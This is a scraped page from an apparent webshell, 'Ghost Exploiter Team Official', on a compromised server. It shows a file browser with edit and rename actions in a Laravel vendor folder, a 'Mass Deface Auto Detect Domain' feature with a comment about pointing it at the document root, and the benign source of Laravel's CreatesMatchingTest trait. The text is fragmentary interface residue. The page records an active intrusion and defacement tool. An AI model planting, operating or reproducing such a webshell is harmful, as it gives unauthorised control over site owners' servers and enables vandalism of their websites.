webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Console
/
Concerns
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
CallsCommands.php
2.969KB
edt
ren
ConfiguresPrompts.php
5.751KB
edt
ren
CreatesMatchingTest.php
1.153KB
edt
ren
HasParameters.php
1.378KB
edt
ren
InteractsWithIO.php
11.163KB
edt
ren
InteractsWithSignals.php
1.153KB
edt
ren
PromptsForMissingInput.php
3.379KB
edt
ren
<?php namespace Illuminate\Console\Concerns; use Illuminate\Support\Str; use Symfony\Component\Console\Input\InputOption; trait CreatesMatchingTest { /** * Add the standard command options for generating matching tests. * * @return void */ protected function addTestOptions() { foreach (['test' => 'PHPUnit', 'pest' => 'Pest'] as $option => $name) { $this->getDefinition()->addOption(new InputOption( $option, null, InputOption::VALUE_NONE, "Generate an accompanying {$name} test for the {$this->type}" )); } } /** * Create the matching test case if requested. * * @param string $path * @return bool */ protected function handleTestCreation($path) { if (! $this->option('test') && ! $this->option('pest')) { return false; } return $this->callSilent('make:test', [ 'name' => Str::of($path)->after($this->laravel['path'])->beforeLast('.php')->append('Test')->replace('\\', '/'), '--pest' => $this->option('pest'), ]) == 0; } }
<=Back
Liking